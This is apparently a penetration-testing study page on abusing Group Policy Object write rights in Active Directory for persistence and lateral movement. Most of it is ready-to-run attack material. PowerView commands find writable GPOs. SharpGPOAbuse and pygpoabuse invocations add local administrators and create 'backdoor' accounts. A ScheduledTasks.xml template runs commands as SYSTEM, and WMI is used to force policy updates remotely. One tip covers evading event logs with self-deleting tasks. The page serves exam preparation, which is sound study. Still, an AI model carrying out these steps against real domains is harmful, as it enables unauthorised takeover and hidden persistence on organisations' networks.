← Research Hub
Active Directory

GPO Abuse for Persistence

Modifying Group Policy Objects with GenericWrite β€” scheduled tasks, startup scripts, registry keys, and immediate policy push for lateral movement and persistence.

GPO Discovery

# Find GPOs where your user/group has write rights
# Primary method: BloodHound β€” look for GenericWrite, WriteDACL edges to GPO nodes
# Right-click any GPO node β†’ "Shortest Paths to Here from Owned"

# PowerView (modern syntax β€” use Get-DomainGPO not Get-NetGPO)
Get-DomainGPO -Properties DisplayName,Name | ForEach-Object {
  $gpo = $_
  Get-DomainObjectAcl -Identity $gpo.Name -ResolveGUIDs | Where-Object {
    $_.ActiveDirectoryRights -match 'GenericWrite|WriteDacl|WriteProperty' -and
    $_.SecurityIdentifier -ne 'S-1-5-18'
  } | Select-Object @{N='GPO';E={$gpo.DisplayName}}, SecurityIdentifier, ActiveDirectoryRights
}

# Quick check on a specific GPO GUID
Get-DomainObjectAcl -Identity "GPO-GUID" -ResolveGUIDs | Where-Object {
  $_.ActiveDirectoryRights -match 'Write'
}

# Check which OUs (and machines) a GPO applies to
Get-DomainOU -GPLink "GPO-GUID" | Select-Object distinguishedname

Abusing GPO Write Rights

If BloodHound shows GenericWrite on a GPO that applies to machines you want to compromise, you can modify the GPO to run arbitrary code as SYSTEM on those machines.

# Using SharpGPOAbuse (from Windows)
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount hacker --GPOName "Vulnerable GPO"

# Add a computer or user task
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "NT AUTHORITYSYSTEM"   --Command "cmd.exe" --Arguments "/c C:WindowsTempshell.exe" --GPOName "Vulnerable GPO"

# pygpoabuse (from Kali Linux β€” https://github.com/Hackndo/pyGPOAbuse)
pygpoabuse CORP.LOCAL/hacker:'Pass123!' -gpo-id ""   -command "net user backdoor Pass123! /add && net localgroup administrators backdoor /add"

Scheduled Task via GPO (Manual)

# Locate GPO files on SYSVOL
\\corp.local\SYSVOL\corp.local\Policies\{GPO-GUID}\Machine\Preferences\ScheduledTasks

# Create ScheduledTasks.xml:
<ScheduledTasks clsid="...">
  <ImmediateTaskV2 clsid="..." name="Backdoor" image="0" changed="2024-01-01 00:00:00" uid="...">
    <Properties action="C" name="Backdoor" runAs="NT AUTHORITYSYSTEM" logonType="S4U">
      <Task version="1.3">
        <Actions>
          <Exec>
            <Command>cmd.exe</Command>
            <Arguments>/c net user hacker Pass123! /add</Arguments>
          </Exec>
        </Actions>
      </Task>
    </Properties>
  </ImmediateTaskV2>
</ScheduledTasks>

Forcing Policy Application

# On target machine (if you have code execution):
gpupdate /force
# Policy applies immediately β€” scheduled task runs as SYSTEM

# Remotely trigger policy update via WMI/PsExec:
Invoke-WmiMethod -ComputerName TARGET -Class win32_process -Name create -ArgumentList "gpupdate /force"

Exam Tips

  • GPO modifications only affect machines/users the GPO is linked to β€” verify the OU/site/domain link
  • Use BloodHound's GPO node view to see which OUs (and thus which computers) are affected
  • The gpupdate /force command requires local execution β€” use a shell or WMI to trigger remotely
  • GPO changes are logged in Security event logs β€” use ImmediateTaskV2 for a one-shot task that self-deletes
  • Check SYSVOL permissions first β€” you need write access to the GPO folder path, not just the AD object